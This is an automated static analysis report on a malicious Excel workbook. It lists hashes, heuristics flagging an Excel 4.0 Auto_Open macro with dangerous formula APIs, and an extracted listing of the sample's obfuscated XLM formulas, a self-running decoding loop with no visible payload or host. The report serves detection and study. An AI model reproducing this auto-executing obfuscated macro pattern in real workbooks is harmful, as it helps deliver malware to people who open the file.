Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bf9d3376de7f27a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:51 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 0de4232666e9796ed14f740f75398852 SHA-1: b975e5f7a56921317600982d794d367dd97a18d9 SHA-256: 4bf9d3376de7f27a5627fbb1b4a4beeb6dc05e9822ed7f882b7ffc4e9187cc9e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: 70896d93b0624791fd783ee74b4b02a79b53ed4c7132ddb4b5ba68e502ef4098
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kIYy
' 0018     20 LABEL : Cell Value, String Constant - aEeyF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C184 
' 0018     26 LABEL : Cell Value, String Constant - BRKzkjnmkdR len=0 
' 0018     20 LABEL : Cell Value, String Constant - cTVgD len=0 
' 0018     23 LABEL : Cell Value, String Constant - DwMffBiD len=0 
' 0018     26 LABEL : Cell Value, String Constant - EDDMjfEHWZY len=0 
' 0018     24 LABEL : Cell Value, String Constant - erHyGdblS len=0 
' 0018     24 LABEL : Cell Value, String Constant - fCeeUHdDE len=0 
' 0018     21 LABEL : Cell Value, String Constant - Lbylah len=0 
' 0018     24 LABEL : Cell Value, String Constant - OBnufotgZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - odscVs len=0 
' 0018     23 LABEL : Cell Value, String Constant - oNwwOSoS len=0 
' 0018     22 LABEL : Cell Value, String Constant - pYoxArB len=0 
' 0018     26 LABEL : Cell Value, String Constant - qVpKFyXnWVB len=0 
' 0018     22 LABEL : Cell Value, String Constant - SKrNAgp len=0 
' 0018     23 LABEL : Cell Value, String Constant - tHrbyeqT len=0 
' 0018     25 LABEL : Cell Value, String Constant - UfjGELzXMA len=0 
' 0018     20 LABEL : Cell Value, String Constant - UucLj len=0 
' 0018     24 LABEL : Cell Value, String Constant - vjigRhfkW len=0 
' 0018     21 LABEL : Cell Value, String Constant - WJhJgv len=0 
' 0018     23 LABEL : Cell Value, String Constant - zClfBFCO len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kIYy,S77,"",774.00000000000000000000
'  kIYy,S78,"",-192.00000000000000000000
'  kIYy,S79,"",-294.00000000000000000000
'  kIYy,S80,"",493.00000000000000000000
'  kIYy,S81,"",-977.00000000000000000000
'  kIYy,S82,"",190.00000000000000000000
'  kIYy,C91,"SET.NAME("aEeyF",0+VALUE("0"))",""
'  kIYy,C96,"SET.NAME("Lbylah",aEeyF)",""
'  kIYy,C99,"SET.NAME("SKrNAgp",aEeyF)",""
'  kIYy,C101,"SET.NAME("UucLj",COUNTA(pYoxArB))",""
'  kIYy,C103,"SET.NAME("fCeeUHdDE",COUNTA(odscVs))",""
'  kIYy,C108,[],""
'  kIYy,C112,"SET.NAME("OBnufotgZ","")",""
'  kIYy,C116,"Lbylah",""
'  kIYy,C118,"SET.NAME("UfjGELzXMA",HLOOKUP("*",pYoxArB,Lbylah,FALSE))",""
'  kIYy,C121,"oNwwOSoS",""
'  kIYy,C126,"SET.NAME("BRKzkjnmkdR",aEeyF)",""
'  kIYy,C130,[],""
'  kIYy,C135,"BRKzkjnmkdR",""
'  kIYy,C137,"EDDMjfEHWZY",""
'  kIYy,C140,"erHyGdblS",""
'  kIYy,C144,"zClfBFCO",""
'  kIYy,C149,"SET.NAME("tHrbyeqT",VALUE(HLOOKUP("*",odscVs,zClfBFCO,FALSE)))",""
'  kIYy,C154,"qVpKFyXnWVB",""
'  kIYy,C156,"OBnufotgZ",""
'  kIYy,C158,"SKrNAgp",""
'  kIYy,C163,NEXT(),""
'  kIYy,C166,"cTVgD",""
'  kIYy,C168,[],""
'  kIYy,C173,"vjigRhfkW",""
'  kIYy,C177,NEXT(),""
'  kIYy,C179,RETURN(),""
'  kIYy,C212,"SET.NAME("WJhJgv",C91)",""
'  kIYy,C215,"pYoxArB",""
'  kIYy,C218,"SET.NAME("odscVs",R54C12)",""
'  kIYy,C220,"SET.NAME("vjigRhfkW",228)",""
'  kIYy,C224,"SET.NAME("DwMffBiD",3)",""
'  kIYy,C227,WJhJgv(),""
'  kIYy,C228,HALT(),""